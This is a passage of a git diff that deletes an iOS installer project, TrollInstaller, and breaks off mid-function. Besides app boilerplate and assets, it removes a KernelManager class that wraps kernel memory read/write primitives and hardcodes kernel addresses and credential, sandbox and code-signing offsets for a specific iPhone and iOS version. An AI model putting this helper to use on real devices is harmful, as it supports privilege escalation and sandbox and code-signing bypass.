CURRENT_PROJECT_VERSION = 1; - DEVELOPMENT_TEAM = 3Z56NQJ65R; - GENERATE_INFOPLIST_FILE = YES; - INFOPLIST_FILE = TrollInstaller/Info.plist; - INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES; - INFOPLIST_KEY_UILaunchStoryboardName = LaunchScreen; - INFOPLIST_KEY_UIMainStoryboardFile = Main; - INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; - INFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = "UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; - IPHONEOS_DEPLOYMENT_TARGET = 14.0; - LD_RUNPATH_SEARCH_PATHS = ( - "$(inherited)", - "@executable_path/Frameworks", - ); - MARKETING_VERSION = 1.0; - OTHER_LDFLAGS = ( - "-framework", - IOKit, - "-larchive", - ); - PRODUCT_BUNDLE_IDENTIFIER = com.opa334.TrollInstaller; - PRODUCT_NAME = "$(TARGET_NAME)"; - SWIFT_EMIT_LOC_STRINGS = YES; - TARGETED_DEVICE_FAMILY = "1,2"; - }; - name = Release; - }; -/* End XCBuildConfiguration section */ - -/* Begin XCConfigurationList section */ - 8CE2BD1B28AD5D710058FBAD /* Build configuration list for PBXProject "TrollInstaller" */ = { - isa = XCConfigurationList; - buildConfigurations = ( - 8CE2BD3728AD5D730058FBAD /* Debug */, - 8CE2BD3828AD5D730058FBAD /* Release */, - ); - defaultConfigurationIsVisible = 0; - defaultConfigurationName = Release; - }; - 8CE2BD3928AD5D730058FBAD /* Build configuration list for PBXNativeTarget "TrollInstaller" */ = { - isa = XCConfigurationList; - buildConfigurations = ( - 8CE2BD3A28AD5D730058FBAD /* Debug */, - 8CE2BD3B28AD5D730058FBAD /* Release */, - ); - defaultConfigurationIsVisible = 0; - defaultConfigurationName = Release; - }; -/* End XCConfigurationList section */ - }; - rootObject = 8CE2BD1828AD5D710058FBAD /* Project object */; -} diff --git a/Installer/TrollInstaller/TrollInstaller.xcodeproj/project.xcworkspace/contents.xcworkspacedata b/Installer/TrollInstaller/TrollInstaller.xcodeproj/project.xcworkspace/contents.xcworkspacedata deleted file mode 100644 index 919434a..0000000 --- a/Installer/TrollInstaller/TrollInstaller.xcodeproj/project.xcworkspace/contents.xcworkspacedata +++ /dev/null @@ -1,7 +0,0 @@ - - - - - diff --git a/Installer/TrollInstaller/TrollInstaller.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist b/Installer/TrollInstaller/TrollInstaller.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist deleted file mode 100644 index 18d9810..0000000 --- a/Installer/TrollInstaller/TrollInstaller.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist +++ /dev/null @@ -1,8 +0,0 @@ - - - - - IDEDidComputeMac32BitWarning - - - diff --git a/Installer/TrollInstaller/TrollInstaller/AppDelegate.h b/Installer/TrollInstaller/TrollInstaller/AppDelegate.h deleted file mode 100644 index 89cd6ef..0000000 --- a/Installer/TrollInstaller/TrollInstaller/AppDelegate.h +++ /dev/null @@ -1,14 +0,0 @@ -// -// AppDelegate.h -// TrollInstaller -// -// Created by Lars Fröder on 17.08.22. -// - -#import - -@interface AppDelegate : UIResponder - - -@end - diff --git a/Installer/TrollInstaller/TrollInstaller/AppDelegate.m b/Installer/TrollInstaller/TrollInstaller/AppDelegate.m deleted file mode 100644 index 955f590..0000000 --- a/Installer/TrollInstaller/TrollInstaller/AppDelegate.m +++ /dev/null @@ -1,40 +0,0 @@ -// -// AppDelegate.m -// TrollInstaller -// -// Created by Lars Fröder on 17.08.22. -// - -#import "AppDelegate.h" - -@interface AppDelegate () - -@end - -@implementation AppDelegate - - -- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { - // Override point for customization after application launch. - return YES; -} - - -#pragma mark - UISceneSession lifecycle - - -- (UISceneConfiguration *)application:(UIApplication *)application configurationForConnectingSceneSession:(UISceneSession *)connectingSceneSession options:(UISceneConnectionOptions *)options { - // Called when a new scene session is being created. - // Use this method to select a configuration to create the new scene with. - return [[UISceneConfiguration alloc] initWithName:@"Default Configuration" sessionRole:connectingSceneSession.role]; -} - - -- (void)application:(UIApplication *)application didDiscardSceneSessions:(NSSet *)sceneSessions { - // Called when the user discards a scene session. - // If any sessions were discarded while the application was not running, this will be called shortly after application:didFinishLaunchingWithOptions. - // Use this method to release any resources that were specific to the discarded scenes, as they will not return. -} - - -@end diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AccentColor.colorset/Contents.json b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AccentColor.colorset/Contents.json deleted file mode 100644 index eb87897..0000000 --- a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AccentColor.colorset/Contents.json +++ /dev/null @@ -1,11 +0,0 @@ -{ - "colors" : [ - { - "idiom" : "universal" - } - ], - "info" : { - "author" : "xcode", - "version" : 1 - } -} diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/1024.png b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/1024.png deleted file mode 100644 index ecd8eab..0000000 Binary files a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/1024.png and /dev/null differ diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/120-1.png b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/120-1.png deleted file mode 100644 index c2213d4..0000000 Binary files a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/120-1.png and /dev/null differ diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/120.png b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/120.png deleted file mode 100644 index c2213d4..0000000 Binary files a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/120.png and /dev/null differ diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/152.png b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/152.png deleted file mode 100644 index 112eb46..0000000 Binary files a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/152.png and /dev/null differ diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/167.png b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/167.png deleted file mode 100644 index adddabc..0000000 Binary files a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/167.png and /dev/null differ diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/180.png b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/180.png deleted file mode 100644 index 32741d0..0000000 Binary files a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/180.png and /dev/null differ diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/20.png b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/20.png deleted file mode 100644 index d8ea34f..0000000 Binary files a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/20.png and /dev/null differ diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/29.png b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/29.png deleted file mode 100644 index 9710ee1..0000000 Binary files a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/29.png and /dev/null differ diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/40-1.png b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/40-1.png deleted file mode 100644 index 99ceb3d..0000000 Binary files a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/40-1.png and /dev/null differ diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/40-2.png b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/40-2.png deleted file mode 100644 index 99ceb3d..0000000 Binary files a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/40-2.png and /dev/null differ diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/40.png b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/40.png deleted file mode 100644 index 99ceb3d..0000000 Binary files a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/40.png and /dev/null differ diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/58-1.png b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/58-1.png deleted file mode 100644 index d9e3451..0000000 Binary files a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/58-1.png and /dev/null differ diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/58.png b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/58.png deleted file mode 100644 index d9e3451..0000000 Binary files a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/58.png and /dev/null differ diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/60.png b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/60.png deleted file mode 100644 index b99c597..0000000 Binary files a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/60.png and /dev/null differ diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/76.png b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/76.png deleted file mode 100644 index 61e042a..0000000 Binary files a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/76.png and /dev/null differ diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/80-1.png b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/80-1.png deleted file mode 100644 index 7d3d7a9..0000000 Binary files a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/80-1.png and /dev/null differ diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/80.png b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/80.png deleted file mode 100644 index 7d3d7a9..0000000 Binary files a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/80.png and /dev/null differ diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/87.png b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/87.png deleted file mode 100644 index f89e726..0000000 Binary files a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/87.png and /dev/null differ diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/Contents.json b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/Contents.json deleted file mode 100644 index e594077..0000000 --- a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/Contents.json +++ /dev/null @@ -1,116 +0,0 @@ -{ - "images" : [ - { - "filename" : "40.png", - "idiom" : "iphone", - "scale" : "2x", - "size" : "20x20" - }, - { - "filename" : "60.png", - "idiom" : "iphone", - "scale" : "3x", - "size" : "20x20" - }, - { - "filename" : "58.png", - "idiom" : "iphone", - "scale" : "2x", - "size" : "29x29" - }, - { - "filename" : "87.png", - "idiom" : "iphone", - "scale" : "3x", - "size" : "29x29" - }, - { - "filename" : "80.png", - "idiom" : "iphone", - "scale" : "2x", - "size" : "40x40" - }, - { - "filename" : "120.png", - "idiom" : "iphone", - "scale" : "3x", - "size" : "40x40" - }, - { - "filename" : "120-1.png", - "idiom" : "iphone", - "scale" : "2x", - "size" : "60x60" - }, - { - "filename" : "180.png", - "idiom" : "iphone", - "scale" : "3x", - "size" : "60x60" - }, - { - "filename" : "20.png", - "idiom" : "ipad", - "scale" : "1x", - "size" : "20x20" - }, - { - "filename" : "40-1.png", - "idiom" : "ipad", - "scale" : "2x", - "size" : "20x20" - }, - { - "filename" : "29.png", - "idiom" : "ipad", - "scale" : "1x", - "size" : "29x29" - }, - { - "filename" : "58-1.png", - "idiom" : "ipad", - "scale" : "2x", - "size" : "29x29" - }, - { - "filename" : "40-2.png", - "idiom" : "ipad", - "scale" : "1x", - "size" : "40x40" - }, - { - "filename" : "80-1.png", - "idiom" : "ipad", - "scale" : "2x", - "size" : "40x40" - }, - { - "filename" : "76.png", - "idiom" : "ipad", - "scale" : "1x", - "size" : "76x76" - }, - { - "filename" : "152.png", - "idiom" : "ipad", - "scale" : "2x", - "size" : "76x76" - }, - { - "filename" : "167.png", - "idiom" : "ipad", - "scale" : "2x", - "size" : "83.5x83.5" - }, - { - "filename" : "1024.png", - "idiom" : "ios-marketing", - "scale" : "1x", - "size" : "1024x1024" - } - ], - "info" : { - "author" : "xcode", - "version" : 1 - } -} diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/Contents.json b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/Contents.json deleted file mode 100644 index 73c0059..0000000 --- a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/Contents.json +++ /dev/null @@ -1,6 +0,0 @@ -{ - "info" : { - "author" : "xcode", - "version" : 1 - } -} diff --git a/Installer/TrollInstaller/TrollInstaller/Base.lproj/LaunchScreen.storyboard b/Installer/TrollInstaller/TrollInstaller/Base.lproj/LaunchScreen.storyboard deleted file mode 100644 index 865e932..0000000 --- a/Installer/TrollInstaller/TrollInstaller/Base.lproj/LaunchScreen.storyboard +++ /dev/null @@ -1,25 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/Installer/TrollInstaller/TrollInstaller/Base.lproj/Main.storyboard b/Installer/TrollInstaller/TrollInstaller/Base.lproj/Main.storyboard deleted file mode 100644 index 207e557..0000000 --- a/Installer/TrollInstaller/TrollInstaller/Base.lproj/Main.storyboard +++ /dev/null @@ -1,91 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/Installer/TrollInstaller/TrollInstaller/Info.plist b/Installer/TrollInstaller/TrollInstaller/Info.plist deleted file mode 100644 index 81ed29b..0000000 --- a/Installer/TrollInstaller/TrollInstaller/Info.plist +++ /dev/null @@ -1,25 +0,0 @@ - - - - - UIApplicationSceneManifest - - UIApplicationSupportsMultipleScenes - - UISceneConfigurations - - UIWindowSceneSessionRoleApplication - - - UISceneConfigurationName - Default Configuration - UISceneDelegateClassName - SceneDelegate - UISceneStoryboardFile - Main - - - - - - diff --git a/Installer/TrollInstaller/TrollInstaller/KernelManager.h b/Installer/TrollInstaller/TrollInstaller/KernelManager.h deleted file mode 100644 index 3a5b645..0000000 --- a/Installer/TrollInstaller/TrollInstaller/KernelManager.h +++ /dev/null @@ -1,232 +0,0 @@ -// -// KernelManager.h -// NonceSet15 -// -// Created by Lars Fröder on 02.06.22. -// - -#import - -struct StaticOffsets -{ - uint64_t kernel_base; - uint64_t kauth_cred_table_anchor; - uint64_t allproc; - uint64_t sandbox_secret; - uint64_t cs_debug; -}; - -struct SlidOffsets -{ - uint64_t kauth_cred_table_anchor; - uint64_t allproc; - uint64_t sandbox_secret; - uint64_t cs_debug; -}; - -struct UCredOffsets -{ - uint64_t posix_offset; - uint64_t label_offset; - uint64_t audit_offset; -}; - -struct TaskOffsets -{ - uint64_t itk_space_offset; - uint64_t t_flags_offset; - uint64_t rop_pid_offset; - uint64_t jop_pid_offset; - uint64_t disable_user_jop_offset; - uint64_t threads_offset; - uint64_t map_offset; -}; - -struct ThreadOffsets -{ - uint64_t task_threads_offset; - uint64_t disable_user_jop_offset; - uint64_t rop_pid_offset; - uint64_t jop_pid_offset; -}; - -struct ProcOffsets -{ - uint64_t task_offset; - uint64_t pid_offset; - uint64_t comm_offset; - uint64_t name_offset; - uint64_t ucred_offset; - uint64_t textvp_offset; - uint64_t textoff_offset; - uint64_t csflags_offset; - uint64_t fd_offset; -}; - -struct FileDescriptorOffsets -{ - uint64_t ofiles_offset; -}; - -struct FileProcOffsets -{ - uint64_t glob_offset; -}; - -struct FileGlobOffsets -{ - uint64_t data_offset; -}; - -struct ItkSpaceOffsets -{ - uint64_t is_table_offset; -}; - -struct IpcEntryOffsets -{ - uint32_t size; -}; - -struct CsBlobOffsets -{ - uint64_t team_id_offset; - uint64_t platform_binary_offset; - uint64_t pmap_cs_entry_offset; -}; - -struct UbcInfoOffsets -{ - uint64_t csblobs_offset; -}; - -struct VnodeOffsets -{ - union un { - uint64_t mountedhere; - uint64_t socket; - uint64_t specinfo; - uint64_t fifoinfo; - uint64_t ubcinfo; - } un_offset; - uint64_t type_offset; - uint64_t flag_offset; -}; - -struct VmMapOffsets -{ - uint64_t header_offset; - uint64_t pmap_offset; - uint64_t flag_offset; -}; - -struct VmHeaderOffsets -{ - uint64_t links_offset; - uint64_t numentry_offset; -}; - -struct VmMapLinkOffsets -{ - uint64_t prev_offset; - uint64_t next_offset; -}; - -struct CsDirEntryOffsets -{ - uint64_t trust_level_offset; -}; - -struct VmMapEntryOffsets -{ - uint64_t links_offset; - uint64_t flag_bits_offset; -}; - -/*struct PmapOffsets -{ - -}*/ - -#define un_mountedhere un.mountedhere -#define un_socket un.socket -#define un_specinfo un.specinfo -#define un_fifoinfo un.fifoinfo -#define un_ubcinfo un.ubcinfo - -struct StructOffsets -{ - struct ProcOffsets proc; - struct UCredOffsets ucred; - struct ItkSpaceOffsets itk_space; - struct TaskOffsets task; - struct ThreadOffsets thread; - struct IpcEntryOffsets ipc_entry; - struct FileDescriptorOffsets fd; - struct FileProcOffsets fproc; - struct FileGlobOffsets fglob; - struct VnodeOffsets vnode; - struct UbcInfoOffsets ubc_info; - struct CsBlobOffsets csblob; - struct VmMapOffsets vmmap; - struct CsDirEntryOffsets csdirentry; - struct VmHeaderOffsets vmheader; - struct VmMapLinkOffsets vmlink; - struct VmMapEntryOffsets vmentry; -}; - -NS_ASSUME_NONNULL_BEGIN - -@interface KernelManager : NSObject -{ -} - -@property (nonatomic) uint32_t (*kread_32_d)(uint64_t addr); -@property (nonatomic) uint64_t (*kread_64_d)(uint64_t addr); -@property (nonatomic) void (*kread_32_id)(uint64_t addr, uint32_t* outPtr); -@property (nonatomic) void (*kread_64_id)(uint64_t addr, uint64_t* outPtr); -@property (nonatomic) int (*kread_32_id_ret)(uint64_t addr, uint32_t* outPtr); -@property (nonatomic) int (*kread_64_id_ret)(uint64_t addr, uint64_t* outPtr); -@property (nonatomic, copy) int (^kread32_block)(uint64_t addr, uint32_t* outPtr); -@property (nonatomic, copy) int (^kread64_block)(uint64_t addr, uint64_t* outPtr); - -@property (nonatomic) void (*kwrite_32)(uint64_t addr, uint32_t value); -@property (nonatomic) void (*kwrite_64)(uint64_t addr, uint64_t value); -@property (nonatomic) int (*kwrite_32_ret)(uint64_t addr, uint32_t value); -@property (nonatomic) int (*kwrite_64_ret)(uint64_t addr, uint64_t value); -@property (nonatomic, copy) int (^kwrite32_block)(uint64_t addr, uint32_t value); -@property (nonatomic, copy) int (^kwrite64_block)(uint64_t addr, uint64_t value); - -@property (nonatomic) int (*kread_buf)(uint64_t addr, void* outBuf, size_t len); -@property (nonatomic) int (*kwrite_buf)(uint64_t addr, void* inBuf, size_t len); - -@property (nonatomic) void (*kcleanup)(void); - -@property (nonatomic) uint64_t kernel_slide; -@property (nonatomic) uint64_t kernel_base; - -@property (nonatomic) struct SlidOffsets slid_offsets; -@property (nonatomic) struct StaticOffsets static_offsets; -@property (nonatomic) struct StructOffsets struct_offsets; - -- (void)loadOffsets; -- (void)_loadSlidOffsets; -- (void)loadSlidOffsetsWithKernelSlide:(uint64_t)kernel_slide; -- (void)loadSlidOffsetsWithKernelBase:(uint64_t)kernel_base; - -+ (instancetype)sharedInstance; - -- (uint64_t)read64BitValueAtAddress:(uint64_t)addr; -- (uint32_t)read32BitValueAtAddress:(uint64_t)addr; -- (int)readBufferAtAddress:(uint64_t)addr intoBuffer:(void*)outBuf withLength:(size_t)len; -- (int)copyStringAtAddress:(uint64_t)addr intoBuffer:(void*)outBuf withBufferSize:(size_t)bufSize; -- (int)dumpHexAtAddress:(uint64_t)addr withLength:(size_t)len; - -- (int)write64BitValue:(uint64_t)value toAddress:(uint64_t)addr; -- (int)write32BitValue:(uint32_t)value toAddress:(uint64_t)addr; -- (int)writeBuffer:(void*)inBuf withLength:(size_t)len toAddress:(uint64_t)addr; - -- (void)finishAndCleanupIfNeeded; -@end - -NS_ASSUME_NONNULL_END diff --git a/Installer/TrollInstaller/TrollInstaller/KernelManager.m b/Installer/TrollInstaller/TrollInstaller/KernelManager.m deleted file mode 100644 index 8c6ad21..0000000 --- a/Installer/TrollInstaller/TrollInstaller/KernelManager.m +++ /dev/null @@ -1,438 +0,0 @@ -// -// KernelManager.m -// NonceSet15 -// -// Created by Lars Fröder on 02.06.22. -// - -#import "KernelManager.h" - -@implementation KernelManager - -+ (instancetype)sharedInstance -{ - static KernelManager *sharedInstance = nil; - static dispatch_once_t onceToken; - dispatch_once(&onceToken, ^{ - sharedInstance = [[KernelManager alloc] init]; - }); - return sharedInstance; -} - -- (void)loadOffsets -{ - struct StaticOffsets staticOffsets; - // iPhone 13 Pro, 15.1.1 - staticOffsets.kernel_base = 0xFFFFFFF007004000; - staticOffsets.sandbox_secret = 0xFFFFFFF009DF2140; - staticOffsets.allproc = 0xFFFFFFF009D86AA0; - staticOffsets.kauth_cred_table_anchor = 0xFFFFFFF009DE0988; - staticOffsets.cs_debug = 0xFFFFFFF009D86990; - - self.static_offsets = staticOffsets; - - struct ProcOffsets proc; - proc.task_offset = 0x10; - proc.pid_offset = 0x68; - proc.comm_offset = 0x2C8; - proc.name_offset = 0x2D9; - proc.ucred_offset = 0xD8; - proc.textvp_offset = 0x2A8; - proc.textoff_offset = 0x2B0; - proc.csflags_offset = 0x300; - proc.fd_offset = 0xE0; - - struct UCredOffsets ucred; - ucred.posix_offset = 0x18; - ucred.label_offset = 0x78; - ucred.audit_offset = 0x80; - - struct TaskOffsets task; - task.map_offset = 0x28; - task.threads_offset = 0x58; - task.itk_space_offset = 0x330; - task.rop_pid_offset = 0x360; - task.jop_pid_offset = 0x368; - task.disable_user_jop_offset = 0x370; - task.t_flags_offset = 0x41C; - - struct ThreadOffsets thread; - thread.task_threads_offset = 0x400; - thread.disable_user_jop_offset = 0x167; - thread.rop_pid_offset = 0x168; - thread.jop_pid_offset = 0x170; - - struct ItkSpaceOffsets itk_space; - itk_space.is_table_offset = 0x20; - - struct IpcEntryOffsets ipc_entry; - ipc_entry.size = 0x18; - - struct FileDescriptorOffsets fd; - fd.ofiles_offset = 0x20; // proc + 256 - // numfiles: 0xC, proc + 244 - // fd_ofileflags: proc + 264 - - struct FileProcOffsets fproc; - fproc.glob_offset = 0x10; - - struct FileGlobOffsets fglob; - fglob.data_offset = 0x38; - - struct VnodeOffsets vnode; - vnode.un_offset.ubcinfo = 0x78; - vnode.type_offset = 0x70; - vnode.flag_offset = 0x54; - - struct UbcInfoOffsets ubc_info; - ubc_info.csblobs_offset = 0x50; - - struct CsBlobOffsets csblob; - csblob.team_id_offset = 0x80; - csblob.platform_binary_offset = 0xB8; - csblob.pmap_cs_entry_offset = 0xC0; - - struct VmMapOffsets vmmap; - vmmap.header_offset = 0x10; - vmmap.pmap_offset = 0x48; - vmmap.flag_offset = 0x11C; - - struct VmHeaderOffsets vmheader; - vmheader.links_offset = 0x0; - vmheader.numentry_offset = 0x20; - - struct VmMapLinkOffsets vmlink; - vmlink.prev_offset = 0x0; - vmlink.next_offset = 0x8; - - struct VmMapEntryOffsets vmentry; - vmentry.links_offset = 0x0; - vmentry.flag_bits_offset = 0x48; - - - // vm header: - // links: 0x00 - // nentries: 0x20 - // .. - - struct CsDirEntryOffsets csdirentry; - csdirentry.trust_level_offset = 0x9C; - - struct StructOffsets structOffsets; - structOffsets.proc = proc; - structOffsets.ucred = ucred; - structOffsets.task = task; - structOffsets.thread = thread; - structOffsets.itk_space = itk_space; - structOffsets.ipc_entry = ipc_entry; - structOffsets.fd = fd; - structOffsets.fproc = fproc; - structOffsets.fglob = fglob; - structOffsets.vnode = vnode; - structOffsets.ubc_info = ubc_info; - structOffsets.csblob = csblob; - structOffsets.vmmap = vmmap; - structOffsets.csdirentry = csdirentry; - structOffsets.vmheader = vmheader; - structOffsets.vmlink = vmlink; - structOffsets.vmentry = vmentry; - - self.struct_offsets = structOffsets; -} - -- (void)_loadSlidOffsets -{ - struct SlidOffsets slidOffsets; - slidOffsets.sandbox_secret = _static_offsets.sandbox_secret + self.kernel_slide; - slidOffsets.allproc = _static_offsets.allproc + self.kernel_slide; - slidOffsets.kauth_cred_table_anchor = _static_offsets.kauth_cred_table_anchor + self.kernel_slide; - slidOffsets.cs_debug = _static_offsets.cs_debug + self.kernel_slide; - self.slid_offsets = slidOffsets; -} - -- (void)loadSlidOffsetsWithKernelSlide:(uint64_t)kernel_slide -{ - self.kernel_base = self.static_offsets.kernel_base + kernel_slide; - self.kernel_slide = kernel_slide; - [self _loadSlidOffsets]; -} - -- (void)loadSlidOffsetsWithKernelBase:(uint64_t)kernel_base -{ - self.kernel_base = kernel_base; - self.kernel_slide = kernel_base - self.static_offsets.kernel_base; - [self _loadSlidOffsets]; -} - -- (uint64_t)read64BitValueAtAddress:(uint64_t)addr -{ - if(_kread_64_d) - { - return _kread_64_d(addr); - } - else - { - uint64_t outInt = 0; - int suc = 0; - - if(_kread_64_id) - { - _kread_64_id(addr, &outInt); - } - else if(_kread_64_id_ret) - { - suc = _kread_64_id_ret(addr, &outInt); - } - else if(_kread64_block) - { - suc = _kread64_block(addr, &outInt); - } - else - { - uint8_t* b = (uint8_t*)&outInt; - *(uint32_t *)b = [self read32BitValueAtAddress:addr]; - *(uint32_t *)(b + 4) = [self read32BitValueAtAddress:addr + 4]; - } - - if(suc != 0) - { - NSLog(@"ERROR reading kernel memory (%llX): %d", addr, suc); - } - - return outInt; - } - -} - -- (uint32_t)read32BitValueAtAddress:(uint64_t)addr -{ - if(_kread_32_d) - { - return _kread_32_d(addr); - } - else - { - uint32_t outInt = 0; - int suc = 0; - if(_kread_32_id) - { - _kread_32_id(addr, &outInt); - } - else if(_kread_32_id_ret) - { - suc = _kread_32_id_ret(addr, &outInt); - } - else if(_kread32_block) - { - suc = _kread32_block(addr, &outInt); - } - if(suc != 0) - { - NSLog(@"ERROR read kernel memory (%llX): %d", addr, suc); - } - return outInt; - } -} - -- (int)readBufferAtAddress:(uint64_t)addr intoBuffer:(void*)outBuf withLength:(size_t)len -{ - //printf("read at %llX - %lX\n", addr, len); - //usleep(50); - - if(_kread_buf) - { - return _kread_buf(addr, outBuf, len); - } - else - { - uint64_t endAddr = addr + len; - uint32_t outputOffset = 0; - unsigned char* outputBytes = (unsigned char*)outBuf; - - for(uint64_t curAddr = addr; curAddr < endAddr; curAddr += 4) - { - //printf("read %llX\n", curAddr); - //usleep(1000); - uint32_t k = [self read32BitValueAtAddress:curAddr]; - - unsigned char* kb = (unsigned char*)&k; - for(int i = 0; i < 4; i++) - { - if(outputOffset == len) break; - outputBytes[outputOffset] = kb[i]; - outputOffset++; - } - if(outputOffset == len) break; - } - - return 0; - } -} - -- (int)copyStringAtAddress:(uint64_t)addr intoBuffer:(void*)outBuf withBufferSize:(size_t)bufSize -{ - bzero(outBuf, bufSize); - char* outBufStr = (char*)outBuf; - - uint64_t maxEndAddr = addr + bufSize; - int ci = 0; - - for(uint64_t curAddr = addr; curAddr < maxEndAddr; curAddr += 4) - { - uint32_t k = [self read32BitValueAtAddress:curAddr]; - char* kb = (char*)&k; - for(int i = 0; i < 4; i++) - { - char c = kb[i]; - if(c == '\0') return 0; - outBufStr[ci] = c; - ci++; - } - } - return 0; -} - -void DumpHex(const void* data, size_t size) { - char ascii[17]; - size_t i, j; - ascii[16] = '\0'; - for (i = 0; i < size; ++i) { - if(i % 16 == 0) - { - printf("0x%zX | ", i); - } - printf("%02X ", ((unsigned char*)data)[i]); - if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { - ascii[i % 16] = ((unsigned char*)data)[i]; - } else { - ascii[i % 16] = '.'; - } - if ((i+1) % 8 == 0 || i+1 == size) { - printf(" "); - if ((i+1) % 16 == 0) { - printf("| %s \n", ascii); - } else if (i+1 == size) { - ascii[(i+1) % 16] = '\0'; - if ((i+1) % 16 <= 8) { - printf(" "); - } - for (j = (i+1) % 16; j < 16; ++j) { - printf(" "); - } - printf("| %s \n", ascii); - } - } - } -} - -- (int)dumpHexAtAddress:(uint64_t)addr withLength:(size_t)len -{ - void* buffer = malloc(len); - int ret = [self readBufferAtAddress:addr intoBuffer:buffer withLength:len]; - if(ret == 0) - { - DumpHex(buffer, len); - } - free(buffer); - return ret; -} - -- (int)write64BitValue:(uint64_t)value toAddress:(uint64_t)addr -{ - if(_kwrite_64) - { - _kwrite_64(addr, value); - } - else if(_kwrite_64_ret) - { - return 